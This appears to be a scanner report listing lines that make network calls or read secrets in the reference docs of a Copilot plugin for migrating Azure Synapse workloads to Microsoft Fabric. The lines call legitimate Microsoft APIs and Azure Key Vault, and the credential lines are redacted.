az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/items/${LAKEHOUSE_ID}/shortcuts" \ - Network accessline 43
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/items/${LAKEHOUSE_ID}/shortcuts" \ - Network accessline 108
[Credential-related source omitted] - Network accessline 109
[Credential-related source omitted] - Network accessline 110
"https://mykeyvault.vault.azure.net/",
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/connector-refactoring.md
- Network accessline 18
.format("com.microsoft.kusto.spark.synapse.datasource") .option("spark.synapse.linkedService", "AzureDataExplorer1") .option("kustoCluster", "https://mycluster.kusto.windows.net") - Network accessline 19
.option("spark.synapse.linkedService", "AzureDataExplorer1") .option("kustoCluster", "https://mycluster.kusto.windows.net") .option("kustoDatabase", "mydb") - Network accessline 20
.option("kustoCluster", "https://mycluster.kusto.windows.net") - Network accessline 26
kustoDF = (spark.read .format("com.microsoft.kusto.spark.synapse.datasource") .option("accessToken", notebookutils.credentials.getToken("https://mycluster.kusto.windows.net")) - Network accessline 27
.format("com.microsoft.kusto.spark.synapse.datasource") .option("accessToken", notebookutils.credentials.getToken("https://mycluster.kusto.windows.net")) .option("kustoCluster", "https://mycluster.kusto.windows.net") - Network accessline 28
.option("accessToken", notebookutils.credentials.getToken("https://mycluster.kusto.windows.net")) - Network accessline 29
.option("kustoCluster", "https://mycluster.kusto.windows.net") - Network accessline 40
.format("com.microsoft.kusto.spark.synapse.datasource") .option("spark.synapse.linkedService", "AzureDataExplorer1") .option("kustoCluster", "https://mycluster.kusto.windows.net") - Network accessline 41
.option("spark.synapse.linkedService", "AzureDataExplorer1") .option("kustoCluster", "https://mycluster.kusto.windows.net") .option("kustoDatabase", "mydb") - Network accessline 42
.option("kustoCluster", "https://mycluster.kusto.windows.net") - Network accessline 50
(df.write .format("com.microsoft.kusto.spark.synapse.datasource") .option("accessToken", notebookutils.credentials.getToken("https://mycluster.kusto.windows.net")) - Network accessline 51
.format("com.microsoft.kusto.spark.synapse.datasource") .option("accessToken", notebookutils.credentials.getToken("https://mycluster.kusto.windows.net")) .option("kustoCluster", "https://mycluster.kusto.windows.net") - Network accessline 52
.option("accessToken", notebookutils.credentials.getToken("https://mycluster.kusto.windows.net")) - Network accessline 53
.option("kustoCluster", "https://mycluster.kusto.windows.net") - Network accessline 83
# ✅ AFTER — Fabric: Cosmos DB via Key Vault secret cosmos_key = notebookutils.credentials.getSecret( "https://mykeyvault.vault.azure.net/", "cosmos-account-key" - Network accessline 84
cosmos_key = notebookutils.credentials.getSecret( "https://mykeyvault.vault.azure.net/", "cosmos-account-key" ) - Network accessline 85
"https://mykeyvault.vault.azure.net/", "cosmos-account-key" - Network accessline 88
cosmosDF = (spark.read .format("cosmos.oltp") .option("spark.cosmos.accountEndpoint", "https://mycosmosaccount.documents.azure.com:443/") - Network accessline 89
.format("cosmos.oltp") .option("spark.cosmos.accountEndpoint", "https://mycosmosaccount.documents.azure.com:443/") .option("spark.cosmos.accountKey", cosmos_key) - Network accessline 90
.option("spark.cosmos.accountEndpoint", "https://mycosmosaccount.documents.azure.com:443/") - Network accessline 110
# ✅ AFTER — Fabric cosmos_key = notebookutils.credentials.getSecret( "https://mykeyvault.vault.azure.net/", "cosmos-account-key" - Network accessline 111
cosmos_key = notebookutils.credentials.getSecret( "https://mykeyvault.vault.azure.net/", "cosmos-account-key" ) - Network accessline 112
"https://mykeyvault.vault.azure.net/", "cosmos-account-key" - Network accessline 115
(df.write .format("cosmos.oltp") .option("spark.cosmos.accountEndpoint", "https://mycosmosaccount.documents.azure.com:443/") - Network accessline 116
.format("cosmos.oltp") .option("spark.cosmos.accountEndpoint", "https://mycosmosaccount.documents.azure.com:443/") .option("spark.cosmos.accountKey", cosmos_key) - Network accessline 117
.option("spark.cosmos.accountEndpoint", "https://mycosmosaccount.documents.azure.com:443/") - Network accessline 148
# ✅ AFTER — Fabric: Spark config with direct credentials cosmos_key = notebookutils.credentials.getSecret( "https://mykeyvault.vault.azure.net/", "cosmos-account-key" - Network accessline 149
cosmos_key = notebookutils.credentials.getSecret( "https://mykeyvault.vault.azure.net/", "cosmos-account-key" ) - Network accessline 150
"https://mykeyvault.vault.azure.net/", "cosmos-account-key" - Network accessline 151
) spark.conf.set("spark.cosmos.accountEndpoint", "https://mycosmosaccount.documents.azure.com:443/") spark.conf.set("spark.cosmos.accountKey", cosmos_key) - Network accessline 152
spark.conf.set("spark.cosmos.accountEndpoint", "https://mycosmosaccount.documents.azure.com:443/") - Network accessline 180
# ✅ AFTER — Fabric: OAuth via standard ClientCredsTokenProvider storage_account = "mystorageaccount" client_id = notebookutils.credentials.getSecret("https://mykeyvault.vault.azure.net/", "sp-client-id") - Network accessline 181
[Credential-related source omitted] - Network accessline 182
client_id = notebookutils.credentials.getSecret("https://mykeyvault.vault.azure.net/", "sp-client-id") - Network accessline 183
[Credential-related source omitted] - Access to secretsline 183
[Credential-related source omitted] - Network accessline 184
tenant_id = notebookutils.credentials.getSecret("https://mykeyvault.vault.azure.net/", "tenant-id") - Network accessline 190
[Credential-related source omitted] - Access to secretsline 190
[Credential-related source omitted] - Network accessline 192
f"https://login.microsoftonline.com/{tenant_id}/oauth2/token") - Network accessline 209
// ✅ AFTER — Fabric (Scala): standard OAuth val storageAccount = "mystorageaccount" val clientId = notebookutils.credentials.getSecret("https://mykeyvault.vault.azure.net/", "sp-client-id") - Network accessline 210
val storageAccount = "mystorageaccount" val clientId = notebookutils.credentials.getSecret("https://mykeyvault.vault.azure.net/", "sp-client-id") val clientSecret = notebookutils.credentials.getSecret("https://mykeyvault.vault.azure.net/", - Network accessline 211
val clientId = notebookutils.credentials.getSecret("https://mykeyvault.vault.azure.net/", "sp-client-id") - Network accessline 212
val clientSecret = notebookutils.credentials.getSecret("https://mykeyvault.vault.azure.net/", "sp-client-secret") - Network accessline 213
val tenantId = notebookutils.credentials.getSecret("https://mykeyvault.vault.azure.net/", "tenant-id") - Network accessline 219
spark.conf.set(s"fs.azure.account.oauth2.client.secret.${storageAccount}.dfs.core.windows.net", clientSecret) spark.conf.set(s"fs.azure.account.oauth2.client.endpoint.${storageAccount}.dfs.core.windows.net", s"https://login.microsoftonlin - Network accessline 221
s"https://login.microsoftonline.com/${tenantId}/oauth2/token") - Network accessline 244
[Credential-related source omitted] - Network accessline 245
[Credential-related source omitted] - Network accessline 247
[Credential-related source omitted] - Network accessline 248
[Credential-related source omitted] - Network accessline 260
val accountName = "mystorageaccount" // or read from notebook parameters // If dynamic, store in Key Vault: // val accountName = notebookutils.credentials.getSecret("https://myvault.vault.azure.net/", "storage-account-name") - Network accessline 262
// val accountName = notebookutils.credentials.getSecret("https://myvault.vault.azure.net/", "storage-account-name") - Network accessline 273
[Credential-related source omitted] - Network accessline 274
[Credential-related source omitted] - Network accessline 275
"https://mykeyvault.vault.azure.net/", - Network accessline 297
[Credential-related source omitted] - Network accessline 298
[Credential-related source omitted]
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/external-hms-migration.md
- Network accessline 8
> > **Auth tokens needed** (see [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) for commands): > - Synapse ARM audience: `https://management.azure.com` (for detection) - Network accessline 9
> **Auth tokens needed** (see [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) for commands): > - Synapse ARM audience: `https://management.azure.com` (for detection) > - HMS database: JDBC cred - Network accessline 10
> - Synapse ARM audience: `https://management.azure.com` (for detection) - Network accessline 12
> - Fabric audience: `https://api.fabric.microsoft.com` - Network accessline 39
GET https://management.azure.com/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.Synapse/workspaces/{ws}/bigDataPools/{poolName}?api-version=2021-06-01 - Network accessline 283
**Endpoint**: `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items` - Network accessline 340
- `location`: `https://{storage}.dfs.core.windows.net` - Network accessline 349
- `location`: `https://{storage}.dfs.core.windows.net` - Network accessline 354
**Endpoint**: `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items/{lakehouseId}/shortcuts` - Network accessline 363
"type": "AdlsGen2", "adlsGen2": { "location": "https://{storageAccount}.dfs.core.windows.net", - Network accessline 364
"adlsGen2": { "location": "https://{storageAccount}.dfs.core.windows.net", "subpath": "/{container}/{path/to/table}", - Network accessline 365
"location": "https://{storageAccount}.dfs.core.windows.net",
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/lake-database-migration.md
- Network accessline 9
> **Prerequisite**: Authenticate to both Synapse and Fabric APIs before starting (see [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes)). > - Synapse data-plane audience: `https://dev.azuresynaps - Network accessline 10
> - Synapse data-plane audience: `https://dev.azuresynapse.net` - Network accessline 11
> - Fabric audience: `https://api.fabric.microsoft.com` - Network accessline 41
GET https://{workspaceName}.dev.azuresynapse.net/databases?api-version=2021-04-01 - Network accessline 235
resp = requests.post(f"{FABRIC_BASE}/workspaces/{ws_id}/items", headers=fab_headers, json=payload) - Network accessline 236
if resp.status_code == 409: # Lakehouse already exists — look it up by name and reuse items = requests.get(f"{FABRIC_BASE}/workspaces/{ws_id}/items?type=Lakehouse", headers=fab_headers).json() - Network accessline 237
# Lakehouse already exists — look it up by name and reuse items = requests.get(f"{FABRIC_BASE}/workspaces/{ws_id}/items?type=Lakehouse", headers=fab_headers).json() existing = next((i for i in items.get("value", []) if i["displayNam - Network accessline 238
items = requests.get(f"{FABRIC_BASE}/workspaces/{ws_id}/items?type=Lakehouse", headers=fab_headers).json() - Network accessline 325
# Step 1: Get storage account key via ARM arm_url = ( f"https://management.azure.com/subscriptions/{subscription_id}" - Network accessline 326
arm_url = ( f"https://management.azure.com/subscriptions/{subscription_id}" f"/resourceGroups/{resource_group}" - Network accessline 327
f"https://management.azure.com/subscriptions/{subscription_id}" - Network accessline 330
f"/listKeys?api-version=2023-05-01" ) key_resp = requests.post(arm_url, headers=arm_headers) - Network accessline 332
key_resp = requests.post(arm_url, headers=arm_headers) - Network accessline 343
"creationMethod": "AzureDataLakeStorage", "parameters": [ {"dataType": "Text", "name": "server", "value": f"https://{storage_account_name}.dfs.core.windows.net"}, - Network accessline 344
"parameters": [ {"dataType": "Text", "name": "server", "value": f"https://{storage_account_name}.dfs.core.windows.net"}, {"dataType": "Text", "name": "path", "value": f"/{container}"} - Network accessline 345
{"dataType": "Text", "name": "server", "value": f"https://{storage_account_name}.dfs.core.windows.net"}, - Network accessline 358
} } conn_resp = requests.post("https://api.fabric.microsoft.com/v1/connections", - Network accessline 359
} conn_resp = requests.post("https://api.fabric.microsoft.com/v1/connections", headers=fab_headers, json=create_conn) - Network accessline 360
conn_resp = requests.post("https://api.fabric.microsoft.com/v1/connections", - Network accessline 378
"creationMethod": "AzureDataLakeStorage", "parameters": [ {"dataType": "Text", "name": "server", "value": f"https://{storage_account_name}.dfs.core.windows.net"}, - Network accessline 379
"parameters": [ {"dataType": "Text", "name": "server", "value": f"https://{storage_account_name}.dfs.core.windows.net"}, {"dataType": "Text", "name": "path", "value": f"/{container}"} - Network accessline 380
{"dataType": "Text", "name": "server", "value": f"https://{storage_account_name}.dfs.core.windows.net"}, - Network accessline 408
1. Open Fabric Portal → Settings → Manage connections and gateways https://app.fabric.microsoft.com/connections - Network accessline 409
https://app.fabric.microsoft.com/connections - Network accessline 410
(MSIT: https://msit.powerbi.com/connections) - Network accessline 411
2. Click '+ New' → Cloud → Azure Data Lake Storage Gen2 3. Server: https://{storageAccount}.dfs.core.windows.net Path: /{container} - Network accessline 412
3. Server: https://{storageAccount}.dfs.core.windows.net - Network accessline 417
Documentation: https://learn.microsoft.com/fabric/data-engineering/lakehouse-shortcuts#create-a-shortcut - Network accessline 458
"type": "AdlsGen2", "adlsGen2": { "location": "https://{storageAccount}.dfs.core.windows.net", - Network accessline 459
"adlsGen2": { "location": "https://{storageAccount}.dfs.core.windows.net", "subpath": "/{container}/{path/to/table}", - Network accessline 460
"location": "https://{storageAccount}.dfs.core.windows.net", - Network accessline 476
Split this into: - `location`: `https://{storage}.dfs.core.windows.net` - Network accessline 477
- `location`: `https://{storage}.dfs.core.windows.net` - Network accessline 484
Split into: - `location`: `https://{storage}.dfs.core.windows.net` - Network accessline 485
- `location`: `https://{storage}.dfs.core.windows.net` - Network accessline 514
"type": "AdlsGen2", "adlsGen2": { "location": "https://{storageAccount}.dfs.core.windows.net", - Network accessline 515
"adlsGen2": { "location": "https://{storageAccount}.dfs.core.windows.net", "subpath": "/{container}/synapse/workspaces/{workspace}/warehouse/{database}", - Network accessline 516
"location": "https://{storageAccount}.dfs.core.windows.net",
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/library-compatibility.md
- Network accessline 21
> **Reference manifests**: For a full line-by-line comparison of every built-in library, see the [microsoft/synapse-spark-runtime](https://github.com/microsoft/synapse-spark-runtime) GitHub repo. Compare `Fabric/Runtime 1.3` vs `Synapse/spa
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/migration-gotchas.md
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/migration-orchestrator.md
- Network accessline 24
> **URL parsing**: If the user provides a Synapse Studio URL, extract all three values from the embedded ARM path: > `https://web.azuresynapse.net/en/home?workspace=%2Fsubscriptions%2F{subId}%2FresourceGroups%2F{rg}%2Fproviders%2FMicrosoft. - Network accessline 25
> `https://web.azuresynapse.net/en/home?workspace=%2Fsubscriptions%2F{subId}%2FresourceGroups%2F{rg}%2Fproviders%2FMicrosoft.Synapse%2Fworkspaces%2F{wsName}` - Network accessline 30
| Value | Derived From | |---|---| | Synapse data-plane endpoint | `https://{workspaceName}.dev.azuresynapse.net` | - Network accessline 31
|---|---| | Synapse data-plane endpoint | `https://{workspaceName}.dev.azuresynapse.net` | | Fabric workspace ID | `GET /v1/workspaces` → filter by `displayName` | - Network accessline 32
| Synapse data-plane endpoint | `https://{workspaceName}.dev.azuresynapse.net` | - Network accessline 145
> **Token audiences** (see [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) for base `az login` flows): > - ARM: `https://management.azure.com` - Network accessline 146
> - ARM: `https://management.azure.com` - Network accessline 147
> - Synapse data-plane: `https://dev.azuresynapse.net` - Network accessline 148
> - Fabric: `https://api.fabric.microsoft.com` - Network accessline 176
def refresh_all(self): self.arm = get_token("https://management.azure.com") - Network accessline 177
self.arm = get_token("https://management.azure.com") - Network accessline 178
self.synapse = get_token("https://dev.azuresynapse.net") - Network accessline 179
self.fabric = get_token("https://api.fabric.microsoft.com") - Network accessline 202
> **Usage pattern**: After every Fabric/Synapse API call, check for 401 and retry once: > ```python > resp = requests.post(url, headers=tokens.fab_headers, json=payload) - Network accessline 203
> ```python > resp = requests.post(url, headers=tokens.fab_headers, json=payload) > if tokens.refresh_if_needed(resp): - Network accessline 204
> resp = requests.post(url, headers=tokens.fab_headers, json=payload) - Network accessline 205
> if tokens.refresh_if_needed(resp): > resp = requests.post(url, headers=tokens.fab_headers, json=payload) > ``` - Network accessline 206
> resp = requests.post(url, headers=tokens.fab_headers, json=payload) - Network accessline 212
# Verify Synapse ARM access resp = requests.get( - Network accessline 213
resp = requests.get( - Network accessline 214
f"https://management.azure.com/subscriptions/{sub_id}/resourceGroups/{rg}" - Network accessline 220
# Verify Synapse data-plane access resp = requests.get( - Network accessline 221
resp = requests.get( - Network accessline 222
f"https://{ws_name}.dev.azuresynapse.net/notebooks?api-version=2020-12-01", - Network accessline 227
# Resolve Fabric workspace ID resp = requests.get( - Network accessline 228
resp = requests.get( - Network accessline 229
"https://api.fabric.microsoft.com/v1/workspaces", - Network accessline 245
def existing_items_map(item_type): """Get map of displayName → id for existing items. Used to skip duplicates on resume.""" resp = requests.get( - Network accessline 246
"""Get map of displayName → id for existing items. Used to skip duplicates on resume.""" resp = requests.get( f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/items?type={item_type}", - Network accessline 247
resp = requests.get( - Network accessline 248
f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/items?type={item_type}", - Network accessline 250
) if tokens.refresh_if_needed(resp): resp = requests.get( - Network accessline 251
if tokens.refresh_if_needed(resp): resp = requests.get( f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/items?type={item_type}", - Network accessline 252
resp = requests.get( - Network accessline 253
f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/items?type={item_type}", - Network accessline 287
pools_resp = requests.get( - Network accessline 288
f"https://management.azure.com/subscriptions/{sub_id}/resourceGroups/{rg}" - Network accessline 311
dbs_resp = requests.get( - Network accessline 312
f"https://{ws_name}.dev.azuresynapse.net/databases?api-version=2021-04-01", - Network accessline 323
for db in databases: db_name = db["name"] tables_resp = requests.get( - Network accessline 324
db_name = db["name"] tables_resp = requests.get( f"https://{ws_name}.dev.azuresynapse.net/databases/{db_name}/TABLEs?api-version=2021-04-01", - Network accessline 325
tables_resp = requests.get( - Network accessline 326
f"https://{ws_name}.dev.azuresynapse.net/databases/{db_name}/TABLEs?api-version=2021-04-01", - Network accessline 335
notebooks_resp = requests.get( - Network accessline 336
f"https://{ws_name}.dev.azuresynapse.net/notebooks?api-version=2020-12-01", - Network accessline 340
# Handle pagination while "nextLink" in notebooks_resp.json(): notebooks_resp = requests.get(notebooks_resp.json()["nextLink"], - Network accessline 341
while "nextLink" in notebooks_resp.json(): notebooks_resp = requests.get(notebooks_resp.json()["nextLink"], headers=tokens.syn_headers) - Network accessline 342
notebooks_resp = requests.get(notebooks_resp.json()["nextLink"], - Network accessline 350
sjds_resp = requests.get( - Network accessline 351
f"https://{ws_name}.dev.azuresynapse.net/sparkJobDefinitions?api-version=2020-12-01", - Network accessline 426
After POST /environments → 201, the updateDefinition endpoint may return 404 for a few seconds while the Environment is provisioned.""" url = (f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}" - Network accessline 427
for a few seconds while the Environment is provisioned.""" url = (f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}" f"/environments/{env_id}/updateDefinition") - Network accessline 428
url = (f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}" - Network accessline 429
f"/environments/{env_id}/updateDefinition") for attempt in range(1, max_retries + 1): resp = requests.post(url, headers=tokens.fab_headers, json=definition_payload) - Network accessline 430
for attempt in range(1, max_retries + 1): resp = requests.post(url, headers=tokens.fab_headers, json=definition_payload) if resp.status_code == 401: - Network accessline 431
resp = requests.post(url, headers=tokens.fab_headers, json=definition_payload) - Network accessline 432
if resp.status_code == 401: tokens.refresh_if_needed(resp) resp = requests.post(url, headers=tokens.fab_headers, json=definition_payload) - Network accessline 433
tokens.refresh_if_needed(resp) resp = requests.post(url, headers=tokens.fab_headers, json=definition_payload) return resp - Network accessline 434
resp = requests.post(url, headers=tokens.fab_headers, json=definition_payload) - Network accessline 454
continue env_id = mapping["fabricEnvironmentId"] resp = requests.get( - Network accessline 455
env_id = mapping["fabricEnvironmentId"] resp = requests.get( f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/environments/{env_id}", - Network accessline 456
resp = requests.get( - Network accessline 457
f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/environments/{env_id}", - Network accessline 630
"type": "AdlsGen2", "adlsGen2": { "location": f"https://{account}.dfs.core.windows.net", - Network accessline 631
"adlsGen2": { "location": f"https://{account}.dfs.core.windows.net", "subpath": f"/{container}", - Network accessline 632
"location": f"https://{account}.dfs.core.windows.net", - Network accessline 636
} } resp = requests.post( - Network accessline 637
} resp = requests.post( f"{BASE_URL}/workspaces/{fabric_ws_id}/items/{lakehouse_id}/shortcuts", - Network accessline 638
resp = requests.post( - Network accessline 834
for nb_name, mapping in notebook_mappings.items(): nb_id = mapping["fabricNotebookId"] resp = requests.post( - Network accessline 835
nb_id = mapping["fabricNotebookId"] resp = requests.post( f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}" - Network accessline 836
resp = requests.post( - Network accessline 837
f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}" - Network accessline 892
for sjd_name, mapping in sjd_mappings.items(): sjd_id = mapping["fabricSjdId"] resp = requests.post( - Network accessline 893
sjd_id = mapping["fabricSjdId"] resp = requests.post( f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}" - Network accessline 894
resp = requests.post( - Network accessline 895
f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}" - Network accessline 992
PORTAL_URL = "https://app.fabric.microsoft.com" - Network accessline 993
FAB_BASE = "https://api.fabric.microsoft.com/v1" - Network accessline 1001
items = [] while url: resp = requests.get(url, headers=headers) - Network accessline 1002
while url: resp = requests.get(url, headers=headers) resp.raise_for_status() - Network accessline 1003
resp = requests.get(url, headers=headers) - Network accessline 1379
[Credential-related source omitted] - Network accessline 1455
for item in deletion_plan: resp = requests.delete( - Network accessline 1456
resp = requests.delete( - Network accessline 1457
f"https://api.fabric.microsoft.com/v1/workspaces/{ws_id}/items/{item['itemId']}",
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/migration-report.md
- Network accessline 9
All Fabric portal links use base URL `https://app.fabric.microsoft.com`. - Network accessline 14
https://app.fabric.microsoft.com/groups/{workspaceId} - Network accessline 19
| Item Type | Portal URL | |---|---| | **Lakehouse** | `https://app.fabric.microsoft.com/groups/{workspaceId}/lakehouses/{itemId}` | - Network accessline 20
|---|---| | **Lakehouse** | `https://app.fabric.microsoft.com/groups/{workspaceId}/lakehouses/{itemId}` | | **Notebook** | `https://app.fabric.microsoft.com/groups/{workspaceId}/synapse/notebooks/{itemId}` | - Network accessline 21
| **Lakehouse** | `https://app.fabric.microsoft.com/groups/{workspaceId}/lakehouses/{itemId}` | - Network accessline 22
| **Notebook** | `https://app.fabric.microsoft.com/groups/{workspaceId}/synapse/notebooks/{itemId}` | - Network accessline 23
| **Spark Job Definition** | `https://app.fabric.microsoft.com/groups/{workspaceId}/synapse/sparkjobdefinitions/{itemId}` | - Network accessline 24
| **Environment** | `https://app.fabric.microsoft.com/groups/{workspaceId}/environments/{itemId}` | - Network accessline 49
GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items?type={itemType} - Network accessline 64
[Credential-related source omitted] - Network accessline 65
[Credential-related source omitted] - Network accessline 69
BASE_URL = "https://api.fabric.microsoft.com/v1" - Network accessline 70
PORTAL_URL = "https://app.fabric.microsoft.com" - Network accessline 78
items = [] while url: resp = requests.get(url, headers=headers) - Network accessline 79
while url: resp = requests.get(url, headers=headers) resp.raise_for_status() - Network accessline 80
resp = requests.get(url, headers=headers) - Network accessline 291
**Target**: [Fabric Workspace](https://app.fabric.microsoft.com/groups/a1b2c3d4-e5f6-7890-abcd-ef1234567890) - Network accessline 296
| # | Environment Name | Fabric Link | Description | |---|---|---|---| | 1 | `ETLPool_env` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../environments/5b218778-...) | Migrated from Synapse Spark pool: ETLPool | - Network accessline 297
|---|---|---|---| | 1 | `ETLPool_env` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../environments/5b218778-...) | Migrated from Synapse Spark pool: ETLPool | | 2 | `MLPool_env` | [Open in Fabric](https://app.fabric. - Network accessline 298
| 1 | `ETLPool_env` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../environments/5b218778-...) | Migrated from Synapse Spark pool: ETLPool | - Network accessline 299
| 2 | `MLPool_env` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../environments/c3d4e5f6-...) | Migrated from Synapse Spark pool: MLPool | - Network accessline 306
| # | Lakehouse Name | Fabric Link | Description | |---|---|---|---| | 1 | `SilverLakehouse` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../lakehouses/7890abcd-...) | Migrated from Synapse lake database: silver_db | - Network accessline 308
| 1 | `SilverLakehouse` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../lakehouses/7890abcd-...) | Migrated from Synapse lake database: silver_db | - Network accessline 327
| # | Notebook Name | Fabric Link | Description | |---|---|---|---| | 1 | `bronze_ingest` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../synapse/notebooks/1234abcd-...) | | - Network accessline 328
|---|---|---|---| | 1 | `bronze_ingest` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../synapse/notebooks/1234abcd-...) | | | 2 | `silver_transform` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4 - Network accessline 329
| 1 | `bronze_ingest` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../synapse/notebooks/1234abcd-...) | | - Network accessline 330
| 2 | `silver_transform` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../synapse/notebooks/5678efgh-...) | | - Network accessline 331
| 3 | `gold_aggregate` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../synapse/notebooks/9012ijkl-...) | | - Network accessline 338
| # | SJD Name | Fabric Link | Description | |---|---|---|---| | 1 | `daily_etl_job` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../synapse/sparkjobdefinitions/mnop3456-...) | | - Network accessline 340
| 1 | `daily_etl_job` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../synapse/sparkjobdefinitions/mnop3456-...) | | - Network accessline 385
"fabric_id": fabric_item["id"], "fabric_type": fabric_item["type"], "fabric_url": f"https://app.fabric.microsoft.com/groups/{WORKSPACE_ID}/{_type_path(fabric_item)}", - Network accessline 386
"fabric_type": fabric_item["type"], "fabric_url": f"https://app.fabric.microsoft.com/groups/{WORKSPACE_ID}/{_type_path(fabric_item)}", "status": status, - Network accessline 387
"fabric_url": f"https://app.fabric.microsoft.com/groups/{WORKSPACE_ID}/{_type_path(fabric_item)}", - Network accessline 426
| Item Type | Synapse Studio URL Pattern | |---|---| | **Notebook** | `https://web.azuresynapse.net/en/authoring/analyze/notebooks/{notebookName}?workspace=/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.Synapse/workspaces/{w - Network accessline 427
|---|---| | **Notebook** | `https://web.azuresynapse.net/en/authoring/analyze/notebooks/{notebookName}?workspace=/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.Synapse/workspaces/{ws}` | | **SJD** | `https://web.azuresynapse - Network accessline 428
| **Notebook** | `https://web.azuresynapse.net/en/authoring/analyze/notebooks/{notebookName}?workspace=/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.Synapse/workspaces/{ws}` | - Network accessline 429
| **SJD** | `https://web.azuresynapse.net/en/authoring/analyze/sparkJobDefinitions/{sjdName}?workspace=...` | - Network accessline 430
| **Spark Pool** | `https://web.azuresynapse.net/en/management/sparkPools/{poolName}?workspace=...` | - Network accessline 431
| **Lake Database** | `https://web.azuresynapse.net/en/authoring/analyze/databases/{dbName}?workspace=...` | - Network accessline 434
def synapse_item_url(item_type, item_name, sub_id, rg, ws_name): """Build a Synapse Studio URL for the source item.""" base = "https://web.azuresynapse.net/en" - Network accessline 435
"""Build a Synapse Studio URL for the source item.""" base = "https://web.azuresynapse.net/en" ws_path = f"/subscriptions/{sub_id}/resourceGroups/{rg}/providers/Microsoft.Synapse/workspaces/{ws_name}" - Network accessline 436
base = "https://web.azuresynapse.net/en" - Network accessline 450
| Synapse Item | Fabric Item | Status | |---|---|---| | [bronze_ingest (Synapse)](https://web.azuresynapse.net/en/authoring/...) | [bronze_ingest (Fabric)](https://app.fabric.microsoft.com/groups/.../synapse/notebooks/...) | ✅ Migrated | - Network accessline 452
| [bronze_ingest (Synapse)](https://web.azuresynapse.net/en/authoring/...) | [bronze_ingest (Fabric)](https://app.fabric.microsoft.com/groups/.../synapse/notebooks/...) | ✅ Migrated |
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/security-governance.md
- Network accessline 54
POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/assignWorkspaceIdentity - Network accessline 65
- [ ] Register all service principals used by notebooks/SJDs in the Fabric workspace - [ ] Verify no notebooks rely on SQL auth — convert to Entra if found - [ ] Test token acquisition: `notebookutils.credentials.getToken("https://managemen - Network accessline 67
- [ ] Test token acquisition: `notebookutils.credentials.getToken("https://management.azure.com")` - Network accessline 76
[Credential-related source omitted] - Network accessline 78
resp = requests.post( - Network accessline 79
f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/assignWorkspaceIdentity", - Network accessline 96
[Credential-related source omitted] - Network accessline 98
# List Linked Services via Synapse data-plane API resp = requests.get( - Network accessline 99
resp = requests.get( - Network accessline 100
f"https://{ws_name}.dev.azuresynapse.net/linkedservices" - Network accessline 125
# List all Lakehouses in the target workspace resp = requests.get( - Network accessline 126
resp = requests.get( - Network accessline 127
f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/items?type=Lakehouse", - Network accessline 133
lh_id = lh["id"] # List shortcuts for this Lakehouse sc_resp = requests.get( - Network accessline 134
# List shortcuts for this Lakehouse sc_resp = requests.get( f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}" - Network accessline 135
sc_resp = requests.get( - Network accessline 136
